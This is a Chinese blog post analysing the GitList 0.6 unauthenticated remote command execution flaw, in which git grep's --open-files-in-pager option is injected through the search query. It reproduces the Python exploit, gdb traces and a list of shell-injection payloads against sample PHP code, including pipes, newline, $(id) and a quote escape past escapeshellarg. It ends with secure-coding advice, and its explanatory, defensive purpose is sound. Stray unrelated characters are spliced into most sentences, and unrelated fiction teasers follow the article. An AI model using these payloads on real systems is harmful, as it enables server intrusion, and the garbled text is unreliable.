如何在開(kāi)發(fā)中避免遠(yuǎn)程命令執(zhí)行漏洞的一些思考以及相關(guān)漏洞分析

安全客 獨(dú)家發(fā)表本文沼撕,如需要轉(zhuǎn)載,請(qǐng)先聯(lián)系 安全客 授權(quán)愧薛;未經(jīng)授權(quán)請(qǐng)勿轉(zhuǎn)載砰左。
本文首發(fā)地址 : https://www.anquanke.com/post/id/146416

image.png

概要:

文章內(nèi)容如下:

  • 安全公告 -> Exploit 應(yīng)該經(jīng)歷的步驟
  • GitList 0.6 Unauthenticated RCE 分析
  • 為何使用了 PHP escapeshellcmd / escapeshellarg 函數(shù),依然存在 RCE 漏洞
  • GitList 的 $branch 參數(shù)是否可以再次命令注入睡榆?
  • git grep 如何實(shí)現(xiàn)萍肆,是否也是調(diào)用了系統(tǒng)命令?
  • 分析使用 -- 修復(fù)該漏洞是否完善
  • 安全開(kāi)發(fā)的一些建議

信息:

漏洞作者信息:

# Exploit Title: GitList 0.6 Unauthenticated RCE
# Date: 25-04-2018
# Software Link: https://github.com/klaussilveira/gitlist
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote

分析:

參考 EXP:

# 核心代碼如下: 
import requests

host = 'localhost'
port = '80'
repo = 'gitlist'
branch = 'master'
command = 'id'
search_url = 'http://%s:%d/%s/tree/%s/search' % (host, port, repo, branch)
requests.post(
    search_url, 
    data={
        'query':'--open-files-in-pager=%s' % (command)
    }
)

個(gè)人分析這些開(kāi)源項(xiàng)目 WEB 漏洞的經(jīng)驗(yàn)并不是很足, 總結(jié)一下并不算經(jīng)驗(yàn)的經(jīng)驗(yàn)

安全公告-_Exploit.png

下圖為本文中要分析的 GitList 遠(yuǎn)程命令執(zhí)行漏洞套用在上圖中的執(zhí)行流程

Untitled.png

本文接下來(lái)會(huì)按照上圖中的關(guān)鍵節(jié)點(diǎn)進(jìn)行分析:

安全公告:

https://www.exploit-db.com/exploits/44548/

Exploit 腳本:

https://www.exploit-db.com/exploits/44548/

關(guān)鍵字:

  1. 該項(xiàng)目 GitHub 倉(cāng)庫(kù)已經(jīng)對(duì)該漏洞進(jìn)行修復(fù)

https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322

image.png

由此可知存在漏洞的文件為: src/Git/Repository.php

image.png
  1. 根據(jù) Exploit 中請(qǐng)求的 URL , 定位到文件

    `
    image.png

    image.png

漏洞位置:

https://github.com/klaussilveira/gitlist/commit/87b8c26b023c3fc37f0796b14bb13710f397b322#diff-8ca606c62dcfbfc0804fc52da0ef371fL328

漏洞成因:

看到這個(gè)漏洞的利用方式, 讓我感覺(jué)到很奇怪的一點(diǎn)
代碼中明明已經(jīng)對(duì)傳入的參數(shù) $query 使用了 escapeshellarg 函數(shù)以確保安全性
為什么仍然可以被利用呢?

命令行的參數(shù)根據(jù)需求大致可以分為這幾種:

  1. 傳值類的參數(shù)
    例如: php -r 'phpinfo();' 其中的 -r 參數(shù)為傳值類型, 該參數(shù)后由 ${IFS} 分割, 之后的第一個(gè)參數(shù)為該參數(shù)的值
  2. 開(kāi)關(guān)類的參數(shù)
    例如: ls -a 中的 -a 即為開(kāi)關(guān)類型的參數(shù), 有這個(gè)參數(shù)則會(huì)顯示隱藏文件, 沒(méi)有則不顯示
    該漏洞中被執(zhí)行的命令為:
git grep -i --line-number $query $branch

其中參數(shù): -i 為開(kāi)關(guān)類型的參數(shù), 而不是傳值類的參數(shù), 含義為是否大小寫(xiě)不敏感, 有該參數(shù)則忽略大小寫(xiě)進(jìn)行匹配, 以下為 man 手冊(cè)

       -i, --ignore-case
           Ignore case differences between the patterns and the files.

其中參數(shù): --line-number 為一個(gè)開(kāi)關(guān)類型的參數(shù), 而不是傳值類型的參數(shù), 有該參數(shù)則會(huì)在結(jié)果中顯示匹配行的行數(shù), 沒(méi)有則不顯示, 以下為 man 手冊(cè)

       -n, --line-number
           Prefix the line number to matching lines.

我們知道 php 的系統(tǒng)命令最終是調(diào)用 sh 這個(gè) shell 來(lái)執(zhí)行的
在 sh 下, 命令的參數(shù)有如下特點(diǎn):

  • 如果某一個(gè)參數(shù)被單引號(hào)包裹, 那么 sh 在創(chuàng)建新進(jìn)程, 給新進(jìn)程的 main 函數(shù)傳遞參數(shù)之前, 是會(huì)把單引號(hào)去掉的

例如:

?  ~   /bin/sh
$ cat main.py
#!/usr/bin/env python
# coding:utf-8

import sys

for i in sys.argv:
    print i

$ python main.py --help
main.py
--help
$ python main.py '--help'
main.py
--help
$ 

而 PHP 的 escapeshellarg 的功能即為:

escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument. This function should be used to escape individual arguments to shell functions coming from user input. The shell functions include exec(), system() and the backtick operator.

有一句比較重要的話是 having it be treated as a single safe argument

例如:

$ git grep -i --line-number '--open-files-in-pager=php -r "system(id);"' master
PHP Notice:  Use of undefined constant id - assumed 'id' in Command line code on line 1
uid=500(ubuntu) gid=500(ubuntu) groups=500(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
$ git grep -i --line-number --open-files-in-pager=php -r "system(id);" master 
error: unknown switch `r'
usage: git grep [<options>] [-e] <pattern> [<rev>...] [[--] <path>...]

上述代碼中, 第二條命令, 我們?cè)镜囊鈭D為:
想讓 git 認(rèn)為 --open-files-in-pager 這個(gè)參數(shù)的值 php -r "system(id);"
但是因?yàn)?sh 在解析命令的時(shí)候會(huì)使用 ${IFS} 來(lái)分隔參數(shù)
導(dǎo)致的結(jié)果為 php -r "system(id);" 中的 -r 被解析為 git-grep 的一個(gè)參數(shù) -r
事實(shí)上 git-grep 是沒(méi)有這個(gè)參數(shù)的... 因此命令不能得到執(zhí)行
實(shí)際上 --open-files-in-pager 的值變成了 php, 而不是 php -r "system(id);"
而第一種, 則會(huì)正確執(zhí)行, 這和上述的 php escapeshellarg 文檔中的說(shuō)法一致, 只能解析一個(gè)參數(shù)

猜想 git 在實(shí)現(xiàn)參數(shù)解析的時(shí)候還會(huì)對(duì) sh 傳入的參數(shù)使用 = 進(jìn)行分隔, 得到鍵值對(duì), 之后的源碼分析也將會(huì)證實(shí)這一點(diǎn)

https://github.com/git/git/blob/26e47e261e969491ad4e3b6c298450c061749c9e/builtin/grep.c#L894

程序自己怎么對(duì)參數(shù)進(jìn)行處理是程序自己的事情, shell 所做的工作就是使用 ${IFS} 把用戶在 shell 中輸入的一個(gè)字符串分隔, 并進(jìn)行一些轉(zhuǎn)義的解碼, 然后傳遞給新的進(jìn)程的 char *argv[], 這個(gè)漏洞的問(wèn)題就在于 git-grep 這個(gè)命令是可以通過(guò)參數(shù)來(lái)指定顯示結(jié)果所使用的文本編輯器的: vi / less, 但是并沒(méi)有將參數(shù)值限制在這兩個(gè)編輯器中, 這樣就給了我們執(zhí)行任意命令的余地

思考

下面的內(nèi)容大概分為幾個(gè)部分:

  • $branch 是否可以用來(lái)命令注入, 看起來(lái)似乎沒(méi)有被過(guò)濾
  • git-grep 命令是怎么實(shí)現(xiàn)的? 是通過(guò)原生的代碼實(shí)現(xiàn)正則引擎, 還是也是在內(nèi)部調(diào)用了 grep 命令, 如果調(diào)用了 grep 命令, 那么是否有可能存在漏洞?
  • 類似的漏洞 CVE-2017-8386
  • 是否有別的系統(tǒng)也存在類似的漏洞
  • 安全開(kāi)發(fā)
一. $branch 是否可以用來(lái)命令注入

可以看到 GitList 使用了 Silex 進(jìn)行路由的控制:

https://github.com/silexphp/Silex
https://github.com/klaussilveira/gitlist/blob/master/src/Provider/ViewUtilServiceProvider.php#L6

image.png

跟進(jìn)代碼可以發(fā)現(xiàn)胀屿,$branch 這個(gè)參數(shù)是從 GET 參數(shù)中傳遞過(guò)來(lái)的

https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Controller/TreeController.php#L51

image.png

Silex 中塘揣,對(duì)參數(shù)的處理規(guī)則如下:

https://silex.symfony.com/doc/2.0/usage.html#route-variables

image.png

GitList 會(huì)調(diào)用 Escape.ArgumentEscaper.escape 來(lái)對(duì) $branch 進(jìn)行處理

https://github.com/klaussilveira/gitlist/blob/d5f2ae5a81f8e7912b21efdc0046df1991ac62b1/src/Escaper/ArgumentEscaper.php

這里對(duì) $branch 調(diào)用了 escapeshellcmd
PS: 這里其實(shí) $branch 是作為參數(shù)身份的... 但是卻調(diào)用了 escapeshellcmd 來(lái)對(duì)其進(jìn)行處理, 感覺(jué)有點(diǎn)奇怪
這個(gè)限制可以說(shuō)很死了,應(yīng)該不能再進(jìn)行利用了碉纳。

二. git-grep 命令是怎么實(shí)現(xiàn)的

之前在申請(qǐng) Google Summer of Code 項(xiàng)目的時(shí)候有關(guān)注過(guò) Git 這個(gè)項(xiàng)目, 其中有一個(gè) Idea 是將諸如 git-rebase 這樣的命令重新用 C 語(yǔ)言來(lái)實(shí)現(xiàn), 也就是目前暫時(shí)的實(shí)現(xiàn)是 bash 腳本
翻了一下 Git 的源碼, 找到 git-grep 命令的實(shí)現(xiàn)方式, 如下:

builtin/grep.c

int cmd_grep(int argc, const char **argv, const char *prefix)
image.png
image.png

image.png
image.png

image.png

該函數(shù)中最終調(diào)用了 execve 來(lái)執(zhí)行命令, 我們可以在這個(gè)函數(shù)執(zhí)行的時(shí)候, 將參數(shù)打印出來(lái)進(jìn)行觀察

struct child_process {
    const char **argv;
    struct argv_array args;
    struct argv_array env_array;
    pid_t pid;
    /*
     * Using .in, .out, .err:
     * - Specify 0 for no redirections (child inherits stdin, stdout,
     *   stderr from parent).
     * - Specify -1 to have a pipe allocated as follows:
     *     .in: returns the writable pipe end; parent writes to it,
     *          the readable pipe end becomes child's stdin
     *     .out, .err: returns the readable pipe end; parent reads from
     *          it, the writable pipe end becomes child's stdout/stderr
     *   The caller of start_command() must close the returned FDs
     *   after it has completed reading from/writing to it!
     * - Specify > 0 to set a channel to a particular FD as follows:
     *     .in: a readable FD, becomes child's stdin
     *     .out: a writable FD, becomes child's stdout/stderr
     *     .err: a writable FD, becomes child's stderr
     *   The specified FD is closed by start_command(), even in case
     *   of errors!
     */
    int in;
    int out;
    int err;
    const char *dir;
    const char *const *env;
    unsigned no_stdin:1;
    unsigned no_stdout:1;
    unsigned no_stderr:1;
    unsigned git_cmd:1; /* if this is to be git sub-command */
    unsigned silent_exec_failure:1;
    unsigned stdout_to_stderr:1;
    unsigned use_shell:1;
    unsigned clean_on_exit:1;
    unsigned wait_after_clean:1;
    void (*clean_on_exit_handler)(struct child_process *process);
    void *clean_on_exit_handler_cbdata;
};
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".
[Switching to Thread 0xb7dd2700 (LWP 12047)]

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x8379458 --> 0xbfffffdb ("COLUMNS=159")
ECX: 0xbfffe6bc --> 0x0 
EDX: 0x0 
ESI: 0x41 ('A')
EDI: 0xbfffe6bc --> 0x0 
EBP: 0xb7dd26c0 --> 0x16 
ESP: 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff 
EIP: 0x817ba40 (<start_command+1776>:   mov    eax,DWORD PTR [esp+0x2c])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x817ba35 <start_command+1765>:  add    esp,0x10
   0x817ba38 <start_command+1768>:  test   eax,eax
   0x817ba3a <start_command+1770>:  jne    0x817c553 <start_command+4611>
=> 0x817ba40 <start_command+1776>:  mov    eax,DWORD PTR [esp+0x2c]
   0x817ba44 <start_command+1780>:  sub    esp,0x4
   0x817ba47 <start_command+1783>:  push   ebx
   0x817ba48 <start_command+1784>:  lea    edx,[eax+0x4]
   0x817ba4b <start_command+1787>:  push   edx
[------------------------------------stack-------------------------------------]
0000| 0xbfffe5c0 --> 0xbfffe67c --> 0xffffffff 
0004| 0xbfffe5c4 --> 0xbfffe818 --> 0x836f038 --> 0x8361118 --> 0x8006469 
0008| 0xbfffe5c8 --> 0xbfffe5ec --> 0x8376bd0 --> 0x83717f0 ("/bin/sh")
0012| 0xbfffe5cc --> 0xffffffff 
0016| 0xbfffe5d0 --> 0x0 
0020| 0xbfffe5d4 --> 0x0 
0024| 0xbfffe5d8 --> 0x0 
0028| 0xbfffe5dc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 3.1 "git" hit Breakpoint 3, start_command (cmd=0xbfffe818) at run-command.c:818
818         execve(argv.argv[1], (char *const *) argv.argv + 1,
gdb-peda$ p argv.argv[1]
$12 = 0x83793c8 "/usr/bin/id"
gdb-peda$ p argv.argv[2]
$13 = 0x8371878 ".gitmodules"
gdb-peda$ p argv.argv[3]
$14 = 0x8371888 "Documentation/Makefile"

最后只是通過(guò) exceve 執(zhí)行了 $pager 的命令

繼續(xù)看代碼發(fā)現(xiàn)了函數(shù):

static void compile_pcre1_regexp(struct grep_pat *p, const struct grep_opt *opt)

https://www.pcre.org/

調(diào)用了 PCRE 這個(gè)正則庫(kù), 因此這里應(yīng)該不存在命令注入漏洞了

三. 類似的漏洞

參考 phith0n 的文章:

https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html

image.png

其中使用到了命令 git-upload-archive
本地執(zhí)行發(fā)現(xiàn)該命令的 --help 這個(gè)命令最終是調(diào)用了 less 來(lái)展示幫助信息的
那么我們?cè)趺床拍馨l(fā)現(xiàn)所有的這種 --help 會(huì)執(zhí)行 less 命令的命令呢?
寫(xiě)一個(gè) shell 腳本試試

?  /tmp   for i in `ls /sbin/*`
do
$i --help && echo $i && sleep 3
done

目前已經(jīng)發(fā)現(xiàn)的命令如下:

/bin/bzless --help
/bin/journalctl --help
/bin/less --help
/bin/systemctl --help

/usr/bin/git-receive-pack --help
/usr/bin/git-upload-archive --help

/sbin/ifenslave --help
/sbin/ifenslave-2.6 --help

那么假設(shè)我們已經(jīng)可以通過(guò)某些手段可以控制上述命令的參數(shù)(非HTTP)那么我們就可以依托于 --help 調(diào)用了 less勿负,再通過(guò) less 來(lái)執(zhí)行系統(tǒng)命令。

四. 是否有別的系統(tǒng)也存在類似的漏洞

測(cè)試系統(tǒng):
Codiad 無(wú)

五. 安全開(kāi)發(fā)

個(gè)人覺(jué)得這種注入的漏洞都是因?yàn)樵趦蓚€(gè)組件通信的過(guò)程中產(chǎn)生的,本質(zhì)上都是程序員預(yù)期執(zhí)行的操作和實(shí)際執(zhí)行的操作產(chǎn)生了差異奴愉,例如

  1. 命令注入琅摩,開(kāi)發(fā)者要執(zhí)行特定系統(tǒng)命令,必須把命令轉(zhuǎn)換成一個(gè)字符串锭硼,然后傳給執(zhí)行者(也就是 shell )房资,然后 shell 再解析,這個(gè)傳遞過(guò)程就可能會(huì)出現(xiàn)信息傳遞不對(duì)等的問(wèn)題檀头,就很容易造成實(shí)際執(zhí)行命令和預(yù)期執(zhí)行的產(chǎn)生差別
  2. sql注入:開(kāi)發(fā)者有和數(shù)據(jù)庫(kù)軟件通信的需求轰异,但是他無(wú)法直接操作數(shù)據(jù)庫(kù)軟件,只能通過(guò)數(shù)據(jù)庫(kù)軟件提供的api(也就是sql暑始,一個(gè)字符串)搭独,這樣就可能出現(xiàn)差別
    程序員的意圖在這個(gè)轉(zhuǎn)化的過(guò)程中傳遞:
  3. 需要先對(duì)意圖進(jìn)行表述,表述為一種統(tǒng)一的格式廊镜,在 命令執(zhí)行 和 sql 注入中都表述為了一個(gè)字符串
  4. 然后由執(zhí)行者解析牙肝,執(zhí)行系統(tǒng)命令或者 sql query
    1 和 2 這兩個(gè)過(guò)程任意一個(gè)出現(xiàn)問(wèn)題就可能造成漏洞(或者bug)

例如 PHP 的這個(gè)pcntl_exec函數(shù):

http://php.net/manual/en/function.pcntl-exec.php
該函數(shù)可以將命令的參數(shù)作為數(shù)組傳入, 這樣可以最大程度避免命令注入的問(wèn)題

例如如下幾種編程例子:

// Level 0: 小白程序員
<?php
  $name = $_GET['name'];
  system("echo $name");
// Hacker: 沒(méi)有任何過(guò)濾
http://127.0.0.1/index.php?name=evil | id
http://127.0.0.1/index.php?name=evil %0a id
http://127.0.0.1/index.php?name=evil & id
http://127.0.0.1/index.php?name=evil && id
http://127.0.0.1/index.php?name=`id`
http://127.0.0.1/index.php?name=$(id)
// Level 1: 初級(jí)程序員
<?php
  $name = escapeshellarg($_GET['name']);
  system("echo '$name'");
// Hacker: 雖然使用了 escapeshellarg, 但是用法錯(cuò)誤, 仍然可以逃逸
// 由于 escapeshellarg 這個(gè)函數(shù)會(huì)在字符串外部添加單引號(hào)包裹,因此當(dāng)參數(shù)被該函數(shù)處理過(guò)后嗤朴,直到執(zhí)行之前配椭,都不應(yīng)該再在外部出現(xiàn)不必要的單引號(hào)
// 因此這里如果用戶傳入的 name 為 `| id | echo `
// 那么被執(zhí)行的命令就是 echo ''| id | echo '' 被注入惡意命令
// Level 2: 中級(jí)程序員
<?php
  $name = escapeshellarg($_GET['name']);
  system(escapeshellcmd("echo ".$name));
// 參考文章: https://ferruh.mavituna.com/unix-command-injection-cheat-sheet-oku/
// 策略: escapeshellcmd 與 escapeshellarg 不可同時(shí)使用
// Level 3: 了解安全的程序員
<?php
$query = $_GET['query']; // $query = "--open-files-in-pager=w"; 
$branch = "master"; 
pcntl_exec(
  "/usr/bin/git", 
  array("grep", "-i", "--line-number", $query, $branch), 
  array("PATH"=>"/usr/bin/")
);
// 這樣的寫(xiě)法一般情況下可以防止絕大多數(shù)的命令注入漏洞,但是在這個(gè)漏洞中也是有問(wèn)題的
// 因?yàn)檫@個(gè)漏洞命令注入的位置是在`傳值類的參數(shù)`的`值`的這個(gè)地方雹姊,只要用戶可以控制一對(duì)`參數(shù)`和`值`(注意這里說(shuō)的`一對(duì)`在 shell 看來(lái)其實(shí)是一個(gè)參數(shù)股缸,例如 `--open-files-in-pager=php`),那么就可以利用該漏洞
// 而上面的寫(xiě)法并不能防止這個(gè)問(wèn)題

根據(jù)上述 Level 3吱雏,再來(lái)看看修復(fù)方案:

image.png

開(kāi)發(fā)者在參數(shù)中添加了 -- 解決了這個(gè)問(wèn)題:
根據(jù)文章:https://www.gnu.org/software/bash/manual/bash.html#Shell-Builtin-Commands

A -- signals the end of options and disables further option processing. 
Any arguments after the -- are treated as filenames and arguments. 

可以得知:--bash 的一個(gè)內(nèi)置功能
看到這里敦姻,腦海中冒出一個(gè)疑問(wèn),-- 只是 shell (bash) 的一個(gè)功能嗎歧杏?應(yīng)用程序在實(shí)現(xiàn)的時(shí)候會(huì)不會(huì)處理這個(gè)參數(shù)呢替劈?
有兩種情況:

  1. bash 讀入一條命令,利用 ${IFS} 分割這個(gè)命令得滤,將其轉(zhuǎn)換為字符串?dāng)?shù)組,其中需要將 -- 之后的字符串全部視為整個(gè)字符串傳入 exec 族的函數(shù)
  2. bash 讀入一條命令盒犹,利用 ${IFS} 分割這個(gè)命令懂更,將其轉(zhuǎn)換為字符串?dāng)?shù)組,將這個(gè)字符串?dāng)?shù)組作為 char * argv[] 直接傳入 exec 族函數(shù)急膀,由于應(yīng)用程序?qū)?-- 這個(gè)參數(shù)進(jìn)行處理

我們可以進(jìn)行以下測(cè)試:(由于 php 在執(zhí)行系統(tǒng)命令的時(shí)候調(diào)用了 sh 而不是 bash 沮协,因此直接使用 gdb 調(diào)試sh),sh 在執(zhí)行命令的時(shí)候使用系統(tǒng)調(diào)用 execve 來(lái)完成

http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
64 位系統(tǒng)調(diào)用參數(shù)傳遞方式為:
man syscall

       The second table shows the registers used to pass the system call argu‐
       ments.

       arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
       ──────────────────────────────────────────────────────────────
       alpha         a0    a1    a2    a3    a4    a5    -
       arc           r0    r1    r2    r3    r4    r5    -
       arm/OABI      a1    a2    a3    a4    v1    v2    v3
       arm/EABI      r0    r1    r2    r3    r4    r5    r6
       arm64         x0    x1    x2    x3    x4    x5    -
       blackfin      R0    R1    R2    R3    R4    R5    -
       i386          ebx   ecx   edx   esi   edi   ebp   -
       ia64          out0  out1  out2  out3  out4  out5  -
       m68k          d1    d2    d3    d4    d5    a0    -
       microblaze    r5    r6    r7    r8    r9    r10   -
       mips/o32      a0    a1    a2    a3    -     -     -     [1]
       mips/n32,64   a0    a1    a2    a3    a4    a5    -
       nios2         r4    r5    r6    r7    r8    r9    -
       parisc        r26   r25   r24   r23   r22   r21   -
       powerpc       r3    r4    r5    r6    r7    r8    r9
       s390          r2    r3    r4    r5    r6    r7    -
       s390x         r2    r3    r4    r5    r6    r7    -
       superh        r4    r5    r6    r7    r0    r1    r2
       sparc/32      o0    o1    o2    o3    o4    o5    -
       sparc/64      o0    o1    o2    o3    o4    o5    -
       tile          R00   R01   R02   R03   R04   R05   -
       x86-64        rdi   rsi   rdx   r10   r8    r9    -
       x32           rdi   rsi   rdx   r10   r8    r9    -
       xtensa        a6    a3    a4    a5    a8    a9    -

在調(diào)試器中直接打印 $rsi

sun@sun:~$ gdb -q
gdb-peda$ file sh
Reading symbols from sh...(no debugging symbols found)...done.
gdb-peda$ b execve
Breakpoint 1 at 0x4510
gdb-peda$ run -c 'ls -- -al'
Starting program: /bin/sh -c 'ls -- -al'
[New process 9252]
[Switching to process 9252]
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RCX: 0x5555557753f8 --> 0x6c2f6e0000736c00 ('')
RDX: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
RSI: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RDI: 0x5555557753f0 --> 0x736c2f6e69622f ('/bin/ls')
RBP: 0x555555773b90 --> 0x555555773b40 --> 0x736c ('ls')
RSP: 0x7fffffffda18 --> 0x55555555ba4e (cmp    rbx,r12)
RIP: 0x7ffff7ac8e30 (<execve>:  mov    eax,0x3b)
R8 : 0x7ffff7dcfc40 --> 0x0 
R9 : 0x0 
R10: 0x555555774010 --> 0x100000000 
R11: 0x7ffff7b933c0 --> 0xfff074f0fff074e0 
R12: 0x555555569f59 --> 0x68732f6e69622f ('/bin/sh')
R13: 0x5555557751a8 --> 0x7fffffffefa8 ("LESSOPEN=| /usr/bin/lesspipe %s")
R14: 0x7fffffffda20 --> 0x400 
R15: 0x7fffffffeeb5 ("/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/home/sun/.rvm/bin:/home/sun/.rvm/bin")
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7ac8e22 <__GI__exit+82>:  mov    DWORD PTR fs:[r9],eax
   0x7ffff7ac8e26 <__GI__exit+86>:  jmp    0x7ffff7ac8dfe <__GI__exit+46>
   0x7ffff7ac8e28:  nop    DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ac8e30 <execve>: mov    eax,0x3b
   0x7ffff7ac8e35 <execve+5>:   syscall 
   0x7ffff7ac8e37 <execve+7>:   cmp    rax,0xfffffffffffff001
   0x7ffff7ac8e3d <execve+13>:  jae    0x7ffff7ac8e40 <execve+16>
   0x7ffff7ac8e3f <execve+15>:  ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda18 --> 0x55555555ba4e (cmp    rbx,r12)
0008| 0x7fffffffda20 --> 0x400 
0016| 0x7fffffffda28 --> 0x7ffff7a7ccfd (<__GI___libc_realloc+205>: test   rax,rax)
0024| 0x7fffffffda30 --> 0xb0 
0032| 0x7fffffffda38 --> 0x7ffff7dcfc40 --> 0x0 
0040| 0x7fffffffda40 --> 0xd0 
0048| 0x7fffffffda48 --> 0x3f0 
0056| 0x7fffffffda50 --> 0x555555773aa0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 2.1 "sh" hit Breakpoint 1, execve ()
    at ../sysdeps/unix/syscall-template.S:78
78  ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ x /8x $rsi
0x555555773b90 <stackbase+240>: 0x0000555555773b40  0x0000555555773b58
0x555555773ba0 <stackbase+256>: 0x0000555555773b70  0x0000000000000000
0x555555773bb0 <stackbase+272>: 0x00007fffffffefa8  0x00007fffffffea4d
0x555555773bc0 <stackbase+288>: 0x00007fffffffeb0f  0x00007fffffffefdc
gdb-peda$ x /s 0x0000555555773b40
0x555555773b40 <stackbase+160>: "ls"
gdb-peda$ x /s 0x0000555555773b58
0x555555773b58 <stackbase+184>: "--"
gdb-peda$ x /s 0x0000555555773b70
0x555555773b70 <stackbase+208>: "-al"

從上述日志中卓嫂,我們可以的得出 sh 并不會(huì)對(duì) -- 進(jìn)行處理慷暂,會(huì)將其直接傳入命令,是否支持 -- 得看具體的應(yīng)用程序是否支持 -- 來(lái)結(jié)束參數(shù)的輸入
也就是說(shuō)在這個(gè)漏洞的修復(fù)中,開(kāi)發(fā)者是查閱了 git 的文檔

https://git-scm.com/docs/git-grep

image.png

發(fā)現(xiàn) git 是支持使用 -- 來(lái)結(jié)束參數(shù)的輸入的行瑞,才采取了這樣的措施來(lái)修復(fù)這個(gè)漏洞奸腺,那么如果 git 不支持 -- 的話,就算添加了 -- 也是沒(méi)有作用的
PS: 不過(guò)這個(gè) -- 用來(lái)結(jié)束參數(shù)的輸入這個(gè)設(shè)定在絕大多數(shù) Unix 的程序中都被支持血久,可以算是一個(gè)“潛”規(guī)則吧突照。
關(guān)于開(kāi)發(fā)的啟示:

  1. 盡可能避免執(zhí)行系統(tǒng)命令來(lái)實(shí)現(xiàn)某些功能,除非該功能實(shí)現(xiàn)起來(lái)實(shí)在非常困難氧吐,否則首選使用腳本語(yǔ)言自己實(shí)現(xiàn)
  2. 在執(zhí)行系統(tǒng)命令的時(shí)候檢查用戶輸入?yún)?shù)(即可控部分)
  3. 使用 pcntl_exec 這類可以限制一次只執(zhí)行一條命令并且參數(shù)為數(shù)組傳入的函數(shù)而不是 system 這種直接調(diào)用 sh 去執(zhí)行命令的函數(shù)
  4. 在使用 pcntl_exec 之前也需要小心地檢查被執(zhí)行的命令是否存在執(zhí)行子命令的可能讹蘑,如果有則需要盡可能避免

搭建漏洞環(huán)境:

參考如下鏈接:


參考文獻(xiàn):


作者: 王一航
GitHub: https://github.com/WangYihang

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市筑舅,隨后出現(xiàn)的幾起案子座慰,更是在濱河造成了極大的恐慌,老刑警劉巖翠拣,帶你破解...
    沈念sama閱讀 206,839評(píng)論 6 482
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件版仔,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡心剥,警方通過(guò)查閱死者的電腦和手機(jī)邦尊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,543評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)优烧,“玉大人蝉揍,你說(shuō)我怎么就攤上這事∑杪Γ” “怎么了又沾?”我有些...
    開(kāi)封第一講書(shū)人閱讀 153,116評(píng)論 0 344
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)熙卡。 經(jīng)常有香客問(wèn)我杖刷,道長(zhǎng),這世上最難降的妖魔是什么驳癌? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,371評(píng)論 1 279
  • 正文 為了忘掉前任滑燃,我火速辦了婚禮,結(jié)果婚禮上颓鲜,老公的妹妹穿的比我還像新娘表窘。我一直安慰自己咕娄,他們只是感情好姜凄,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,384評(píng)論 5 374
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著掉缺,像睡著了一般衣摩。 火紅的嫁衣襯著肌膚如雪昂验。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,111評(píng)論 1 285
  • 那天,我揣著相機(jī)與錄音既琴,去河邊找鬼占婉。 笑死,一個(gè)胖子當(dāng)著我的面吹牛呛梆,可吹牛的內(nèi)容都是我干的锐涯。 我是一名探鬼主播,決...
    沈念sama閱讀 38,416評(píng)論 3 400
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼填物,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼纹腌!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起滞磺,我...
    開(kāi)封第一講書(shū)人閱讀 37,053評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤升薯,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后击困,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體涎劈,經(jīng)...
    沈念sama閱讀 43,558評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,007評(píng)論 2 325
  • 正文 我和宋清朗相戀三年阅茶,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了蛛枚。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,117評(píng)論 1 334
